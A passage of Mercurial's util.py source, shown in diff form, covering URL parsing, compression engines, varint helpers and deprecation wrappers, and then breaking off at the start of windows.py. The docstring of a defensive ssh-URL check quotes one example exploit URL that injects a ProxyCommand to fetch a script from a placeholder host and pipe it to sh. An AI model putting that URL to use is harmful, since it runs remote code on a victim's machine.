         if hasdriveletter(path) or path.startswith('\\\\'):
             self.path = path
             return
 
         # For compatibility reasons, we can't handle bundle paths as
         # normal URLS
         if path.startswith('bundle:'):
             self.scheme = 'bundle'
             path = path[7:]
             if path.startswith('//'):
                 path = path[2:]
             self.path = path
             return
 
         if self._matchscheme(path):
             parts = path.split(':', 1)
             if parts[0]:
                 self.scheme, path = parts
                 self._localpath = False
 
         if not path:
             path = None
             if self._localpath:
                 self.path = ''
                 return
         else:
             if self._localpath:
                 self.path = path
                 return
 
             if parsequery and '?' in path:
                 path, self.query = path.split('?', 1)
                 if not path:
                     path = None
                 if not self.query:
                     self.query = None
 
             # // is required to specify a host/authority
             if path and path.startswith('//'):
                 parts = path[2:].split('/', 1)
                 if len(parts) > 1:
                     self.host, path = parts
                 else:
                     self.host = parts[0]
                     path = None
                 if not self.host:
                     self.host = None
                     # path of file:///d is /d
                     # path of file:///d:/ is d:/, not /d:/
                     if path and not hasdriveletter(path):
                         path = '/' + path
 
             if self.host and '@' in self.host:
                 self.user, self.host = self.host.rsplit('@', 1)
                 if ':' in self.user:
                     self.user, self.passwd = self.user.split(':', 1)
                 if not self.host:
                     self.host = None
 
             # Don't split on colons in IPv6 addresses without ports
             if (self.host and ':' in self.host and
                 not (self.host.startswith('[') and self.host.endswith(']'))):
                 self._hostport = self.host
                 self.host, self.port = self.host.rsplit(':', 1)
                 if not self.host:
                     self.host = None
 
             if (self.host and self.scheme == 'file' and
                 self.host not in ('localhost', '127.0.0.1', '[::1]')):
                 raise Abort(_('file:// URLs can only refer to localhost'))
 
         self.path = path
 
         # leave the query string escaped
         for a in ('user', 'passwd', 'host', 'port',
                   'path', 'fragment'):
             v = getattr(self, a)
             if v is not None:
                 setattr(self, a, urlreq.unquote(v))
 
     @encoding.strmethod
     def __repr__(self):
         attrs = []
         for a in ('scheme', 'user', 'passwd', 'host', 'port', 'path',
                   'query', 'fragment'):
             v = getattr(self, a)
             if v is not None:
                 attrs.append('%s: %r' % (a, v))
         return '<url %s>' % ', '.join(attrs)
 
     def __bytes__(self):
         r"""Join the URL's components back into a URL string.
 
         Examples:
 
         >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
         'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
         >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
         'http://user:pw@host:80/?foo=bar&baz=42'
         >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
         'http://user:pw@host:80/?foo=bar%3dbaz'
         >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
         'ssh://user:pw@[::1]:2200//home/joe#'
         >>> bytes(url(b'http://localhost:80//'))
         'http://localhost:80//'
         >>> bytes(url(b'http://localhost:80/'))
         'http://localhost:80/'
         >>> bytes(url(b'http://localhost:80'))
         'http://localhost:80/'
         >>> bytes(url(b'bundle:foo'))
         'bundle:foo'
         >>> bytes(url(b'bundle://../foo'))
         'bundle:../foo'
         >>> bytes(url(b'path'))
         'path'
         >>> bytes(url(b'file:///tmp/foo/bar'))
         'file:///tmp/foo/bar'
         >>> bytes(url(b'file:///c:/tmp/foo/bar'))
         'file:///c:/tmp/foo/bar'
         >>> print(url(br'bundle:foo\bar'))
         bundle:foo\bar
         >>> print(url(br'file:///D:\data\hg'))
         file:///D:\data\hg
         """
         if self._localpath:
             s = self.path
             if self.scheme == 'bundle':
                 s = 'bundle:' + s
             if self.fragment:
                 s += '#' + self.fragment
             return s
 
         s = self.scheme + ':'
         if self.user or self.passwd or self.host:
             s += '//'
         elif self.scheme and (not self.path or self.path.startswith('/')
                               or hasdriveletter(self.path)):
             s += '//'
             if hasdriveletter(self.path):
                 s += '/'
         if self.user:
             s += urlreq.quote(self.user, safe=self._safechars)
         if self.passwd:
             s += ':' + urlreq.quote(self.passwd, safe=self._safechars)
         if self.user or self.passwd:
             s += '@'
         if self.host:
             if not (self.host.startswith('[') and self.host.endswith(']')):
                 s += urlreq.quote(self.host)
             else:
                 s += self.host
         if self.port:
             s += ':' + urlreq.quote(self.port)
         if self.host:
             s += '/'
         if self.path:
             # TODO: similar to the query string, we should not unescape the
             # path when we store it, the path might contain '%2f' = '/',
             # which we should *not* escape.
             s += urlreq.quote(self.path, safe=self._safepchars)
         if self.query:
             # we store the query in escaped form.
             s += '?' + self.query
         if self.fragment is not None:
             s += '#' + urlreq.quote(self.fragment, safe=self._safepchars)
         return s
 
     __str__ = encoding.strmethod(__bytes__)
 
     def authinfo(self):
         user, passwd = self.user, self.passwd
         try:
             self.user, self.passwd = None, None
             s = bytes(self)
         finally:
             self.user, self.passwd = user, passwd
         if not self.user:
             return (s, None)
         # authinfo[1] is passed to urllib2 password manager, and its
         # URIs must not contain credentials. The host is passed in the
         # URIs list because Python < 2.4.3 uses only that to search for
         # a password.
         return (s, (None, (s, self.host),
                     self.user, self.passwd or ''))
 
     def isabs(self):
         if self.scheme and self.scheme != 'file':
             return True # remote URL
         if hasdriveletter(self.path):
             return True # absolute for our purposes - can't be joined()
         if self.path.startswith(br'\\'):
             return True # Windows UNC path
         if self.path.startswith('/'):
             return True # POSIX-style
         return False
 
     def localpath(self):
         if self.scheme == 'file' or self.scheme == 'bundle':
             path = self.path or '/'
             # For Windows, we need to promote hosts containing drive
             # letters to paths with drive letters.
             if hasdriveletter(self._hostport):
                 path = self._hostport + '/' + self.path
             elif (self.host is not None and self.path
                   and not hasdriveletter(path)):
                 path = '/' + path
             return path
         return self._origpath
 
     def islocal(self):
         '''whether localpath will return something that posixfile can open'''
         return (not self.scheme or self.scheme == 'file'
                 or self.scheme == 'bundle')
 
 def hasscheme(path):
     return bool(url(path).scheme)
 
 def hasdriveletter(path):
     return path and path[1:2] == ':' and path[0:1].isalpha()
 
 def urllocalpath(path):
     return url(path, parsequery=False, parsefragment=False).localpath()
 
 def checksafessh(path):
     """check if a path / url is a potentially unsafe ssh exploit (SEC)
 
     This is a sanity check for ssh urls. ssh will parse the first item as
     an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
     Let's prevent these potentially exploited urls entirely and warn the
     user.
 
     Raises an error.Abort when the url is unsafe.
     """
     path = urlreq.unquote(path)
     if path.startswith('ssh://-') or path.startswith('svn+ssh://-'):
         raise error.Abort(_('potentially unsafe url: %r') %
                           (pycompat.bytestr(path),))
 
 def hidepassword(u):
     '''hide user credential in a url string'''
     u = url(u)
     if u.passwd:
         u.passwd = '***'
     return bytes(u)
 
 def removeauth(u):
     '''remove all authentication information from a url string'''
     u = url(u)
     u.user = u.passwd = None
     return str(u)
 
 timecount = unitcountfn(
     (1, 1e3, _('%.0f s')),
     (100, 1, _('%.1f s')),
     (10, 1, _('%.2f s')),
     (1, 1, _('%.3f s')),
     (100, 0.001, _('%.1f ms')),
     (10, 0.001, _('%.2f ms')),
     (1, 0.001, _('%.3f ms')),
     (100, 0.000001, _('%.1f us')),
     (10, 0.000001, _('%.2f us')),
     (1, 0.000001, _('%.3f us')),
     (100, 0.000000001, _('%.1f ns')),
     (10, 0.000000001, _('%.2f ns')),
     (1, 0.000000001, _('%.3f ns')),
     )
 
 _timenesting = [0]
 
 def timed(func):
     '''Report the execution time of a function call to stderr.
 
     During development, use as a decorator when you need to measure
     the cost of a function, e.g. as follows:
 
     @util.timed
     def foo(a, b, c):
         pass
     '''
 
     def wrapper(*args, **kwargs):
         start = timer()
         indent = 2
         _timenesting[0] += indent
         try:
             return func(*args, **kwargs)
         finally:
             elapsed = timer() - start
             _timenesting[0] -= indent
             stderr.write('%s%s: %s\n' %
                          (' ' * _timenesting[0], func.__name__,
                           timecount(elapsed)))
     return wrapper
 
 _sizeunits = (('m', 2**20), ('k', 2**10), ('g', 2**30),
               ('kb', 2**10), ('mb', 2**20), ('gb', 2**30), ('b', 1))
 
 def sizetoint(s):
     '''Convert a space specifier to a byte count.
 
     >>> sizetoint(b'30')
     30
     >>> sizetoint(b'2.2kb')
     2252
     >>> sizetoint(b'6M')
     6291456
     '''
     t = s.strip().lower()
     try:
         for k, u in _sizeunits:
             if t.endswith(k):
                 return int(float(t[:-len(k)]) * u)
         return int(t)
     except ValueError:
         raise error.ParseError(_("couldn't parse size: %s") % s)
 
 class hooks(object):
     '''A collection of hook functions that can be used to extend a
     function's behavior. Hooks are called in lexicographic order,
     based on the names of their sources.'''
 
     def __init__(self):
         self._hooks = []
 
     def add(self, source, hook):
         self._hooks.append((source, hook))
 
     def __call__(self, *args):
         self._hooks.sort(key=lambda x: x[0])
         results = []
         for source, hook in self._hooks:
             results.append(hook(*args))
         return results
 
 def getstackframes(skip=0, line=' %-*s in %s\n', fileline='%s:%d', depth=0):
     '''Yields lines for a nicely formatted stacktrace.
     Skips the 'skip' last entries, then return the last 'depth' entries.
     Each file+linenumber is formatted according to fileline.
     Each line is formatted according to line.
     If line is None, it yields:
       length of longest filepath+line number,
       filepath+linenumber,
       function
 
     Not be used in production code but very convenient while developing.
     '''
     entries = [(fileline % (pycompat.sysbytes(fn), ln), pycompat.sysbytes(func))
         for fn, ln, func, _text in traceback.extract_stack()[:-skip - 1]
         ][-depth:]
     if entries:
         fnmax = max(len(entry[0]) for entry in entries)
         for fnln, func in entries:
             if line is None:
                 yield (fnmax, fnln, func)
             else:
                 yield line % (fnmax, fnln, func)
 
 def debugstacktrace(msg='stacktrace', skip=0,
                     f=stderr, otherf=stdout, depth=0):
     '''Writes a message to f (stderr) with a nicely formatted stacktrace.
     Skips the 'skip' entries closest to the call, then show 'depth' entries.
     By default it will flush stdout first.
     It can be used everywhere and intentionally does not require an ui object.
     Not be used in production code but very convenient while developing.
     '''
     if otherf:
         otherf.flush()
     f.write('%s at:\n' % msg.rstrip())
     for line in getstackframes(skip + 1, depth=depth):
         f.write(line)
     f.flush()
 
 class dirs(object):
     '''a multiset of directory names from a dirstate or manifest'''
 
     def __init__(self, map, skip=None):
         self._dirs = {}
         addpath = self.addpath
         if safehasattr(map, 'iteritems') and skip is not None:
             for f, s in map.iteritems():
                 if s[0] != skip:
                     addpath(f)
         else:
             for f in map:
                 addpath(f)
 
     def addpath(self, path):
         dirs = self._dirs
         for base in finddirs(path):
             if base in dirs:
                 dirs[base] += 1
                 return
             dirs[base] = 1
 
     def delpath(self, path):
         dirs = self._dirs
         for base in finddirs(path):
             if dirs[base] > 1:
                 dirs[base] -= 1
                 return
             del dirs[base]
 
     def __iter__(self):
         return iter(self._dirs)
 
     def __contains__(self, d):
         return d in self._dirs
 
 if safehasattr(parsers, 'dirs'):
     dirs = parsers.dirs
 
 def finddirs(path):
     pos = path.rfind('/')
     while pos != -1:
         yield path[:pos]
         pos = path.rfind('/', 0, pos)
 
 # compression code
 
 SERVERROLE = 'server'
 CLIENTROLE = 'client'
 
 compewireprotosupport = collections.namedtuple(u'compenginewireprotosupport',
                                                (u'name', u'serverpriority',
                                                 u'clientpriority'))
 
 class compressormanager(object):
     """Holds registrations of various compression engines.
 
     This class essentially abstracts the differences between compression
     engines to allow new compression formats to be added easily, possibly from
     extensions.
 
     Compressors are registered against the global instance by calling its
     ``register()`` method.
     """
     def __init__(self):
         self._engines = {}
         # Bundle spec human name to engine name.
         self._bundlenames = {}
         # Internal bundle identifier to engine name.
         self._bundletypes = {}
         # Revlog header to engine name.
         self._revlogheaders = {}
         # Wire proto identifier to engine name.
         self._wiretypes = {}
 
     def __getitem__(self, key):
         return self._engines[key]
 
     def __contains__(self, key):
         return key in self._engines
 
     def __iter__(self):
         return iter(self._engines.keys())
 
     def register(self, engine):
         """Register a compression engine with the manager.
 
         The argument must be a ``compressionengine`` instance.
         """
         if not isinstance(engine, compressionengine):
             raise ValueError(_('argument must be a compressionengine'))
 
         name = engine.name()
 
         if name in self._engines:
             raise error.Abort(_('compression engine %s already registered') %
                               name)
 
         bundleinfo = engine.bundletype()
         if bundleinfo:
             bundlename, bundletype = bundleinfo
 
             if bundlename in self._bundlenames:
                 raise error.Abort(_('bundle name %s already registered') %
                                   bundlename)
             if bundletype in self._bundletypes:
                 raise error.Abort(_('bundle type %s already registered by %s') %
                                   (bundletype, self._bundletypes[bundletype]))
 
             # No external facing name declared.
             if bundlename:
                 self._bundlenames[bundlename] = name
 
             self._bundletypes[bundletype] = name
 
         wiresupport = engine.wireprotosupport()
         if wiresupport:
             wiretype = wiresupport.name
             if wiretype in self._wiretypes:
                 raise error.Abort(_('wire protocol compression %s already '
                                     'registered by %s') %
                                   (wiretype, self._wiretypes[wiretype]))
 
             self._wiretypes[wiretype] = name
 
         revlogheader = engine.revlogheader()
         if revlogheader and revlogheader in self._revlogheaders:
             raise error.Abort(_('revlog header %s already registered by %s') %
                               (revlogheader, self._revlogheaders[revlogheader]))
 
         if revlogheader:
             self._revlogheaders[revlogheader] = name
 
         self._engines[name] = engine
 
     @property
     def supportedbundlenames(self):
         return set(self._bundlenames.keys())
 
     @property
     def supportedbundletypes(self):
         return set(self._bundletypes.keys())
 
     def forbundlename(self, bundlename):
         """Obtain a compression engine registered to a bundle name.
 
         Will raise KeyError if the bundle type isn't registered.
 
         Will abort if the engine is known but not available.
         """
         engine = self._engines[self._bundlenames[bundlename]]
         if not engine.available():
             raise error.Abort(_('compression engine %s could not be loaded') %
                               engine.name())
         return engine
 
     def forbundletype(self, bundletype):
         """Obtain a compression engine registered to a bundle type.
 
         Will raise KeyError if the bundle type isn't registered.
 
         Will abort if the engine is known but not available.
         """
         engine = self._engines[self._bundletypes[bundletype]]
         if not engine.available():
             raise error.Abort(_('compression engine %s could not be loaded') %
                               engine.name())
         return engine
 
     def supportedwireengines(self, role, onlyavailable=True):
         """Obtain compression engines that support the wire protocol.
 
         Returns a list of engines in prioritized order, most desired first.
 
         If ``onlyavailable`` is set, filter out engines that can't be
         loaded.
         """
         assert role in (SERVERROLE, CLIENTROLE)
 
         attr = 'serverpriority' if role == SERVERROLE else 'clientpriority'
 
         engines = [self._engines[e] for e in self._wiretypes.values()]
         if onlyavailable:
             engines = [e for e in engines if e.available()]
 
         def getkey(e):
             # Sort first by priority, highest first. In case of tie, sort
             # alphabetically. This is arbitrary, but ensures output is
             # stable.
             w = e.wireprotosupport()
             return -1 * getattr(w, attr), w.name
 
         return list(sorted(engines, key=getkey))
 
     def forwiretype(self, wiretype):
         engine = self._engines[self._wiretypes[wiretype]]
         if not engine.available():
             raise error.Abort(_('compression engine %s could not be loaded') %
                               engine.name())
         return engine
 
     def forrevlogheader(self, header):
         """Obtain a compression engine registered to a revlog header.
 
         Will raise KeyError if the revlog header value isn't registered.
         """
         return self._engines[self._revlogheaders[header]]
 
 compengines = compressormanager()
 
 class compressionengine(object):
     """Base class for compression engines.
 
     Compression engines must implement the interface defined by this class.
     """
     def name(self):
         """Returns the name of the compression engine.
 
         This is the key the engine is registered under.
 
         This method must be implemented.
         """
         raise NotImplementedError()
 
     def available(self):
         """Whether the compression engine is available.
 
         The intent of this method is to allow optional compression engines
         that may not be available in all installations (such as engines relying
         on C extensions that may not be present).
         """
         return True
 
     def bundletype(self):
         """Describes bundle identifiers for this engine.
 
         If this compression engine isn't supported for bundles, returns None.
 
         If this engine can be used for bundles, returns a 2-tuple of strings of
         the user-facing "bundle spec" compression name and an internal
         identifier used to denote the compression format within bundles. To
         exclude the name from external usage, set the first element to ``None``.
 
         If bundle compression is supported, the class must also implement
         ``compressstream`` and `decompressorreader``.
 
         The docstring of this method is used in the help system to tell users
         about this engine.
         """
         return None
 
     def wireprotosupport(self):
         """Declare support for this compression format on the wire protocol.
 
         If this compression engine isn't supported for compressing wire
         protocol payloads, returns None.
 
         Otherwise, returns ``compenginewireprotosupport`` with the following
         fields:
 
         * String format identifier
         * Integer priority for the server
         * Integer priority for the client
 
         The integer priorities are used to order the advertisement of format
         support by server and client. The highest integer is advertised
         first. Integers with non-positive values aren't advertised.
 
         The priority values are somewhat arbitrary and only used for default
         ordering. The relative order can be changed via config options.
 
         If wire protocol compression is supported, the class must also implement
         ``compressstream`` and ``decompressorreader``.
         """
         return None
 
     def revlogheader(self):
         """Header added to revlog chunks that identifies this engine.
 
         If this engine can be used to compress revlogs, this method should
         return the bytes used to identify chunks compressed with this engine.
         Else, the method should return ``None`` to indicate it does not
         participate in revlog compression.
         """
         return None
 
     def compressstream(self, it, opts=None):
         """Compress an iterator of chunks.
 
         The method receives an iterator (ideally a generator) of chunks of
         bytes to be compressed. It returns an iterator (ideally a generator)
         of bytes of chunks representing the compressed output.
 
         Optionally accepts an argument defining how to perform compression.
         Each engine treats this argument differently.
         """
         raise NotImplementedError()
 
     def decompressorreader(self, fh):
         """Perform decompression on a file object.
 
         Argument is an object with a ``read(size)`` method that returns
         compressed data. Return value is an object with a ``read(size)`` that
         returns uncompressed data.
         """
         raise NotImplementedError()
 
     def revlogcompressor(self, opts=None):
         """Obtain an object that can be used to compress revlog entries.
 
         The object has a ``compress(data)`` method that compresses binary
         data. This method returns compressed binary data or ``None`` if
         the data could not be compressed (too small, not compressible, etc).
         The returned data should have a header uniquely identifying this
         compression format so decompression can be routed to this engine.
         This header should be identified by the ``revlogheader()`` return
         value.
 
         The object has a ``decompress(data)`` method that decompresses
         data. The method will only be called if ``data`` begins with
         ``revlogheader()``. The method should return the raw, uncompressed
         data or raise a ``RevlogError``.
 
         The object is reusable but is not thread safe.
         """
         raise NotImplementedError()
 
 class _zlibengine(compressionengine):
     def name(self):
         return 'zlib'
 
     def bundletype(self):
         """zlib compression using the DEFLATE algorithm.
 
         All Mercurial clients should support this format. The compression
         algorithm strikes a reasonable balance between compression ratio
         and size.
         """
         return 'gzip', 'GZ'
 
     def wireprotosupport(self):
         return compewireprotosupport('zlib', 20, 20)
 
     def revlogheader(self):
         return 'x'
 
     def compressstream(self, it, opts=None):
         opts = opts or {}
 
         z = zlib.compressobj(opts.get('level', -1))
         for chunk in it:
             data = z.compress(chunk)
             # Not all calls to compress emit data. It is cheaper to inspect
             # here than to feed empty chunks through generator.
             if data:
                 yield data
 
         yield z.flush()
 
     def decompressorreader(self, fh):
         def gen():
             d = zlib.decompressobj()
             for chunk in filechunkiter(fh):
                 while chunk:
                     # Limit output size to limit memory.
                     yield d.decompress(chunk, 2 ** 18)
                     chunk = d.unconsumed_tail
 
         return chunkbuffer(gen())
 
     class zlibrevlogcompressor(object):
         def compress(self, data):
             insize = len(data)
             # Caller handles empty input case.
             assert insize > 0
 
             if insize < 44:
                 return None
 
             elif insize <= 1000000:
                 compressed = zlib.compress(data)
                 if len(compressed) < insize:
                     return compressed
                 return None
 
             # zlib makes an internal copy of the input buffer, doubling
             # memory usage for large inputs. So do streaming compression
             # on large inputs.
             else:
                 z = zlib.compressobj()
                 parts = []
                 pos = 0
                 while pos < insize:
                     pos2 = pos + 2**20
                     parts.append(z.compress(data[pos:pos2]))
                     pos = pos2
                 parts.append(z.flush())
 
                 if sum(map(len, parts)) < insize:
                     return ''.join(parts)
                 return None
 
         def decompress(self, data):
             try:
                 return zlib.decompress(data)
             except zlib.error as e:
                 raise error.RevlogError(_('revlog decompress error: %s') %
                                         stringutil.forcebytestr(e))
 
     def revlogcompressor(self, opts=None):
         return self.zlibrevlogcompressor()
 
 compengines.register(_zlibengine())
 
 class _bz2engine(compressionengine):
     def name(self):
         return 'bz2'
 
     def bundletype(self):
         """An algorithm that produces smaller bundles than ``gzip``.
 
         All Mercurial clients should support this format.
 
         This engine will likely produce smaller bundles than ``gzip`` but
         will be significantly slower, both during compression and
         decompression.
 
         If available, the ``zstd`` engine can yield similar or better
         compression at much higher speeds.
         """
         return 'bzip2', 'BZ'
 
     # We declare a protocol name but don't advertise by default because
     # it is slow.
     def wireprotosupport(self):
         return compewireprotosupport('bzip2', 0, 0)
 
     def compressstream(self, it, opts=None):
         opts = opts or {}
         z = bz2.BZ2Compressor(opts.get('level', 9))
         for chunk in it:
             data = z.compress(chunk)
             if data:
                 yield data
 
         yield z.flush()
 
     def decompressorreader(self, fh):
         def gen():
             d = bz2.BZ2Decompressor()
             for chunk in filechunkiter(fh):
                 yield d.decompress(chunk)
 
         return chunkbuffer(gen())
 
 compengines.register(_bz2engine())
 
 class _truncatedbz2engine(compressionengine):
     def name(self):
         return 'bz2truncated'
 
     def bundletype(self):
         return None, '_truncatedBZ'
 
     # We don't implement compressstream because it is hackily handled elsewhere.
 
     def decompressorreader(self, fh):
         def gen():
             # The input stream doesn't have the 'BZ' header. So add it back.
             d = bz2.BZ2Decompressor()
             d.decompress('BZ')
             for chunk in filechunkiter(fh):
                 yield d.decompress(chunk)
 
         return chunkbuffer(gen())
 
 compengines.register(_truncatedbz2engine())
 
 class _noopengine(compressionengine):
     def name(self):
         return 'none'
 
     def bundletype(self):
         """No compression is performed.
 
         Use this compression engine to explicitly disable compression.
         """
         return 'none', 'UN'
 
     # Clients always support uncompressed payloads. Servers don't because
     # unless you are on a fast network, uncompressed payloads can easily
     # saturate your network pipe.
     def wireprotosupport(self):
         return compewireprotosupport('none', 0, 10)
 
     # We don't implement revlogheader because it is handled specially
     # in the revlog class.
 
     def compressstream(self, it, opts=None):
         return it
 
     def decompressorreader(self, fh):
         return fh
 
     class nooprevlogcompressor(object):
         def compress(self, data):
             return None
 
     def revlogcompressor(self, opts=None):
         return self.nooprevlogcompressor()
 
 compengines.register(_noopengine())
 
 class _zstdengine(compressionengine):
     def name(self):
         return 'zstd'
 
     @propertycache
     def _module(self):
         # Not all installs have the zstd module available. So defer importing
         # until first access.
         try:
             from . import zstd
             # Force delayed import.
             zstd.__version__
             return zstd
         except ImportError:
             return None
 
     def available(self):
         return bool(self._module)
 
     def bundletype(self):
         """A modern compression algorithm that is fast and highly flexible.
 
         Only supported by Mercurial 4.1 and newer clients.
 
         With the default settings, zstd compression is both faster and yields
         better compression than ``gzip``. It also frequently yields better
         compression than ``bzip2`` while operating at much higher speeds.
 
         If this engine is available and backwards compatibility is not a
         concern, it is likely the best available engine.
         """
         return 'zstd', 'ZS'
 
     def wireprotosupport(self):
         return compewireprotosupport('zstd', 50, 50)
 
     def revlogheader(self):
         return '\x28'
 
     def compressstream(self, it, opts=None):
         opts = opts or {}
         # zstd level 3 is almost always significantly faster than zlib
         # while providing no worse compression. It strikes a good balance
         # between speed and compression.
         level = opts.get('level', 3)
 
         zstd = self._module
         z = zstd.ZstdCompressor(level=level).compressobj()
         for chunk in it:
             data = z.compress(chunk)
             if data:
                 yield data
 
         yield z.flush()
 
     def decompressorreader(self, fh):
         zstd = self._module
         dctx = zstd.ZstdDecompressor()
         return chunkbuffer(dctx.read_from(fh))
 
     class zstdrevlogcompressor(object):
         def __init__(self, zstd, level=3):
             # Writing the content size adds a few bytes to the output. However,
             # it allows decompression to be more optimal since we can
             # pre-allocate a buffer to hold the result.
             self._cctx = zstd.ZstdCompressor(level=level,
                                              write_content_size=True)
             self._dctx = zstd.ZstdDecompressor()
             self._compinsize = zstd.COMPRESSION_RECOMMENDED_INPUT_SIZE
             self._decompinsize = zstd.DECOMPRESSION_RECOMMENDED_INPUT_SIZE
 
         def compress(self, data):
             insize = len(data)
             # Caller handles empty input case.
             assert insize > 0
 
             if insize < 50:
                 return None
 
             elif insize <= 1000000:
                 compressed = self._cctx.compress(data)
                 if len(compressed) < insize:
                     return compressed
                 return None
             else:
                 z = self._cctx.compressobj()
                 chunks = []
                 pos = 0
                 while pos < insize:
                     pos2 = pos + self._compinsize
                     chunk = z.compress(data[pos:pos2])
                     if chunk:
                         chunks.append(chunk)
                     pos = pos2
                 chunks.append(z.flush())
 
                 if sum(map(len, chunks)) < insize:
                     return ''.join(chunks)
                 return None
 
         def decompress(self, data):
             insize = len(data)
 
             try:
                 # This was measured to be faster than other streaming
                 # decompressors.
                 dobj = self._dctx.decompressobj()
                 chunks = []
                 pos = 0
                 while pos < insize:
                     pos2 = pos + self._decompinsize
                     chunk = dobj.decompress(data[pos:pos2])
                     if chunk:
                         chunks.append(chunk)
                     pos = pos2
                 # Frame should be exhausted, so no finish() API.
 
                 return ''.join(chunks)
             except Exception as e:
                 raise error.RevlogError(_('revlog decompress error: %s') %
                                         stringutil.forcebytestr(e))
 
     def revlogcompressor(self, opts=None):
         opts = opts or {}
         return self.zstdrevlogcompressor(self._module,
                                          level=opts.get('level', 3))
 
 compengines.register(_zstdengine())
 
 def bundlecompressiontopics():
     """Obtains a list of available bundle compressions for use in help."""
     # help.makeitemsdocs() expects a dict of names to items with a .__doc__.
     items = {}
 
     # We need to format the docstring. So use a dummy object/type to hold it
     # rather than mutating the original.
     class docobject(object):
         pass
 
     for name in compengines:
         engine = compengines[name]
 
         if not engine.available():
             continue
 
         bt = engine.bundletype()
         if not bt or not bt[0]:
             continue
 
         doc = pycompat.sysstr('``%s``\n    %s') % (
             bt[0], engine.bundletype.__doc__)
 
         value = docobject()
         value.__doc__ = doc
         value._origdoc = engine.bundletype.__doc__
         value._origfunc = engine.bundletype
 
         items[bt[0]] = value
 
     return items
 
 i18nfunctions = bundlecompressiontopics().values()
 
 # convenient shortcut
 dst = debugstacktrace
 
 def safename(f, tag, ctx, others=None):
     """
     Generate a name that it is safe to rename f to in the given context.
 
     f:      filename to rename
     tag:    a string tag that will be included in the new name
     ctx:    a context, in which the new name must not exist
     others: a set of other filenames that the new name must not be in
 
     Returns a file name of the form oldname~tag[~number] which does not exist
     in the provided context and is not in the set of other names.
     """
     if others is None:
         others = set()
 
     fn = '%s~%s' % (f, tag)
     if fn not in ctx and fn not in others:
         return fn
     for n in itertools.count(1):
         fn = '%s~%s~%s' % (f, tag, n)
         if fn not in ctx and fn not in others:
             return fn
 
 def readexactly(stream, n):
     '''read n bytes from stream.read and abort if less was available'''
     s = stream.read(n)
     if len(s) < n:
         raise error.Abort(_("stream ended unexpectedly"
                            " (got %d bytes, expected %d)")
                           % (len(s), n))
     return s
 
 def uvarintencode(value):
     """Encode an unsigned integer value to a varint.
 
     A varint is a variable length integer of 1 or more bytes. Each byte
     except the last has the most significant bit set. The lower 7 bits of
     each byte store the 2's complement representation, least significant group
     first.
 
     >>> uvarintencode(0)
     '\\x00'
     >>> uvarintencode(1)
     '\\x01'
     >>> uvarintencode(127)
     '\\x7f'
     >>> uvarintencode(1337)
     '\\xb9\\n'
     >>> uvarintencode(65536)
     '\\x80\\x80\\x04'
     >>> uvarintencode(-1)
     Traceback (most recent call last):
         ...
     ProgrammingError: negative value for uvarint: -1
     """
     if value < 0:
         raise error.ProgrammingError('negative value for uvarint: %d'
                                      % value)
     bits = value & 0x7f
     value >>= 7
     bytes = []
     while value:
         bytes.append(pycompat.bytechr(0x80 | bits))
         bits = value & 0x7f
         value >>= 7
     bytes.append(pycompat.bytechr(bits))
 
     return ''.join(bytes)
 
 def uvarintdecodestream(fh):
     """Decode an unsigned variable length integer from a stream.
 
     The passed argument is anything that has a ``.read(N)`` method.
 
     >>> try:
     ...     from StringIO import StringIO as BytesIO
     ... except ImportError:
     ...     from io import BytesIO
     >>> uvarintdecodestream(BytesIO(b'\\x00'))
     0
     >>> uvarintdecodestream(BytesIO(b'\\x01'))
     1
     >>> uvarintdecodestream(BytesIO(b'\\x7f'))
     127
     >>> uvarintdecodestream(BytesIO(b'\\xb9\\n'))
     1337
     >>> uvarintdecodestream(BytesIO(b'\\x80\\x80\\x04'))
     65536
     >>> uvarintdecodestream(BytesIO(b'\\x80'))
     Traceback (most recent call last):
         ...
     Abort: stream ended unexpectedly (got 0 bytes, expected 1)
     """
     result = 0
     shift = 0
     while True:
         byte = ord(readexactly(fh, 1))
         result |= ((byte & 0x7f) << shift)
         if not (byte & 0x80):
             return result
         shift += 7
 
 ###
 # Deprecation warnings for util.py splitting
 ###
 
 def _deprecatedfunc(func, version):
     def wrapped(*args, **kwargs):
         fn = pycompat.sysbytes(func.__name__)
         mn = pycompat.sysbytes(func.__module__)[len('mercurial.'):]
         msg = "'util.%s' is deprecated, use '%s.%s'" % (fn, mn, fn)
         nouideprecwarn(msg, version)
         return func(*args, **kwargs)
     wrapped.__name__ = func.__name__
     return wrapped
 
 defaultdateformats = dateutil.defaultdateformats
 extendeddateformats = dateutil.extendeddateformats
 makedate = _deprecatedfunc(dateutil.makedate, '4.6')
 datestr = _deprecatedfunc(dateutil.datestr, '4.6')
 shortdate = _deprecatedfunc(dateutil.shortdate, '4.6')
 parsetimezone = _deprecatedfunc(dateutil.parsetimezone, '4.6')
 strdate = _deprecatedfunc(dateutil.strdate, '4.6')
 parsedate = _deprecatedfunc(dateutil.parsedate, '4.6')
 matchdate = _deprecatedfunc(dateutil.matchdate, '4.6')
 
 escapedata = _deprecatedfunc(stringutil.escapedata, '4.6')
 binary = _deprecatedfunc(stringutil.binary, '4.6')
 stringmatcher = _deprecatedfunc(stringutil.stringmatcher, '4.6')
 shortuser = _deprecatedfunc(stringutil.shortuser, '4.6')
 emailuser = _deprecatedfunc(stringutil.emailuser, '4.6')
 email = _deprecatedfunc(stringutil.email, '4.6')
 ellipsis = _deprecatedfunc(stringutil.ellipsis, '4.6')
 escapestr = _deprecatedfunc(stringutil.escapestr, '4.6')
 unescapestr = _deprecatedfunc(stringutil.unescapestr, '4.6')
 forcebytestr = _deprecatedfunc(stringutil.forcebytestr, '4.6')
 uirepr = _deprecatedfunc(stringutil.uirepr, '4.6')
 wrap = _deprecatedfunc(stringutil.wrap, '4.6')
 parsebool = _deprecatedfunc(stringutil.parsebool, '4.6')

mercurial/windows.py

@@ -1,496 +1,495 b''
 # windows.py - Windows utility function implementations for Mercurial
 #
 #  Copyright 2005-2009 Matt Mackall <[e-mail]> and others
 #
 # This software may be used and distributed according to the terms of the
 # GNU General Public License version 2 or any later version.
 
 from __future__ import absolute_import
 
 import errno
 import msvcrt
 import os
 import re
 import stat
 import sys
 
 from .i18n import _
 from . import (
     encoding,
     error,
     policy,
     pycompat,
     win32,
 )
 
 try:
     import _winreg as winreg
     winreg.CloseKey
